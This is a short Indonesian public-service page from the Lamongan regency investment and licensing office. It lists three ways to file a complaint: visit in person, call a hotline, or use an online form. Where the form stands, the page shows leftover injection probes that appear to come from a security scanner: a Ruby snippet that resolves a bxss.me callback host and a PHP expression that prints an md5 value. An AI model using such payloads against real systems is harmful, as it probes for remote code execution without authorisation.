MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 812 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

555

555

Array

"+"A".concat(70-3).concat(22*4).concat(106).concat(67).concat(104).concat(82)+(require"socket" Socket.gethostbyname("hitue"+"mgclbore717e5.bxss.me.")[3].to_s)+"

${@print(md5(31337))}\